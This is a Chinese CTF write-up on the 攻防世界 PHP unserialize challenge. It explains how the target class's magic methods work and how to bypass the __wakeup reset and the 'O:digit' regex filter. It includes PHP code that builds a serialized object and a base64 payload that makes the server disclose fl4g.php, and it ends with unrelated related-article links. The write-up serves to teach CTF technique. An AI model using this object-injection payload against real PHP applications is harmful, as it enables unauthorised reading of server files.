php安全攻防世界unserialize函数反序列化示例详解
步骤
首先打开题目，发现给了一段源码：
分析源码，发现类里面有三个魔术方法：
__construct()：构造函数，对类的变量进行初始化，创建时自动调用，用得到的参数覆盖$file
__destruct()：销毁时调用，会显示文件的代码，这里要显示fl4g.php
__wakeup()：在进行反序列化之前会调用，会把$file重置成index.php
正则表达式的含义：o或c开头，冒号，一个或多个数字，不区分大小写
ok，分析完毕：我们要将序列化后的字符串进行base64加密之后进行get传参到var变量即可
但是这里我们可以看出需要绕过__wakeup()函数以及正则匹配，才能够拿到flag
__wakeup()方法绕过方法：当成员属性的数目大于实际数目的时候即可绕过此方法
正则匹配我们可以使用+来进行绕过
代码：
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a = new Demo("fl4g.php");// 传入我们需要显示的文件
$b = serialize($a);// 进行序列化
echo $b;// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$b = str_replace("O:4", "O:+4", $b);// 绕过正则匹配
$b = str_replace("1:{","2:{",$b);// 绕过__wakeup()方法
echo base64_encode($b);// 进行base64编码并输出
?>
payload：var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
成功拿到flag~
注意：这里有个坑，要是直接将序列化之后的字符串进行手动修改再去找在线网站进行加密则会发现编码之后和我们payload里的不太一样
这是因为file变量为私有变量，所以序列化之后的字符串开头和结尾各有一个空白字符，而我们在对序列化之后的字符串进行输出时，浏览器则不显示空字符，如图：
细心的朋友也会发现Demofile只有8个字符，而长度却显示10。
所以正确的序列化字符串应该是
O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
而我们由于是使用php代码直接进行编码的，全自动化，自然不会漏掉空字符。
解释一下php序列化字符串的格式：
首先对象类型分为以下几种
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
格式：对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
总结
考察对php中魔术方法的熟悉程度，以及反序列化的应用
以上就是攻防世界Web php unserialize正则表达式反序列化详解的详细内容，更多关于php攻防世界unserialize正则表达式反序列化的资料请关注猪先飞其它相关文章！
相关文章
- 这篇文章主要介绍了源码分析系列之json_encode()如何转化一个对象，对json_encode()感兴趣的同学，可以参考下...2021-04-22
- PHP去除html、css样式、js格式的方法很多，但发现，它们基本都有一个弊端：空格往往清除不了 经过不断的研究，最终找到了一个理想的去除html包括空格css样式、js 的PHP函数。...2013-08-02
- index.php怎么打开?初学者可能不知道如何打开index.php，不会的同学可以参考一下本篇教程 打开编辑：右键->打开方式->经文本方式打开打开运行：首先你要有个支持运行PH...2017-07-06
PHP中func_get_args(),func_get_arg(),func_num_args()的区别
复制代码 代码如下:<?php function jb51(){ print_r(func_get_args()); echo "<br>"; echo func_get_arg(1); echo "<br>"; echo func_num_args(); } jb51("www","j...2013-10-04- 这篇文章主要介绍了PHP编程 SSO详细介绍及简单实例的相关资料,这里介绍了三种模式跨子域单点登陆、完全跨单点域登陆、站群共享身份认证,需要的朋友可以参考下...2017-01-25
- 这篇文章主要介绍了PHP实现创建以太坊钱包转账等功能，对以太坊感兴趣的同学，可以参考下...2021-04-20
- 这篇文章主要为大家详细介绍了php微信公众账号开发之五个坑,具有一定的参考价值，感兴趣的小伙伴们可以参考一下...2016-10-02
- 这篇文章主要介绍了PHP如何通过date() 函数格式化显示时间,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下...2020-11-13
ThinkPHP使用心得分享-ThinkPHP + Ajax 实现2级联动下拉菜单
首先是数据库的设计。分类表叫cate.我做的是分类数据的二级联动，数据需要的字段有：id,name(中文名),pid(父id). 父id的设置: 若数据没有上一级，则父id为0，若有上级，则父id为上一级的id。数据库有内容后，就可以开始写代码，进...2014-05-31- 这篇文章主要介绍了golang与php实现计算两个经纬度之间距离的方法,结合实例形式对比分析了Go语言与php进行经纬度计算的相关数学运算技巧,需要的朋友可以参考下...2016-07-29
- 这篇文章主要介绍了PHP正则表达式过滤html标签属性的相关内容，实用性非常，感兴趣的朋友参考下吧...2016-05-06
- 这篇文章主要为大家详细介绍了php构造方法中析构方法在继承中的表现，感兴趣的小伙伴们可以参考一下...2016-04-15
- 这篇文章主要介绍了thinkPHP中多维数组的遍历方法,以简单实例形式分析了thinkPHP中foreach语句的使用技巧,需要的朋友可以参考下...2016-01-12
- 这篇文章主要介绍了PHP如何使用cURL实现Get和Post请求,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下...2020-07-11
- 今天我给大家分享的是在不刷新页面的前提下，使用PHP+jQuery+Ajax实现多图片上传的效果。用户只需要点击选择要上传的图片，然后图片自动上传到服务器上并展示在页面上。...2015-03-15
- 这篇文章主要介绍了PHP简单实现生成txt文件到指定目录的方法,简单对比分析了PHP中fwrite及file_put_contents等函数的使用方法,需要的朋友可以参考下...2016-04-28
- 这篇文章主要介绍了php判断邮箱地址是否存在的方法，php判断邮箱地址是否存在的方法有两种，感兴趣的朋友可以参考一下...2016-02-18
- 下面小编就为大家带来一篇thinkphp自定义权限管理之名称判断方法。小编觉得挺不错的，现在就分享给大家，也给大家做个参考。一起跟随小编过来看看吧...2017-04-03
- 在php中switch是选择，if else也有同理，但是它们肯定是有区别的，那么我们来看看它们两者的区别在哪里呢，下面先看switch case语句吧。 switch($id){ case 1: ...2016-11-25
- Sodium 出现的目的也是为了代替Mcrypt这个原来的加密扩展。在 PHP7.2 之后，Mcrypt已经被移除，在PHP7.1时就已经被标记为过时。不过，Sodium扩展的应用也并不是很多，大部分情况下我们都会使用OpenSSL来进行加密操作，所以，我们这篇文章只做了解即可。...2021-06-17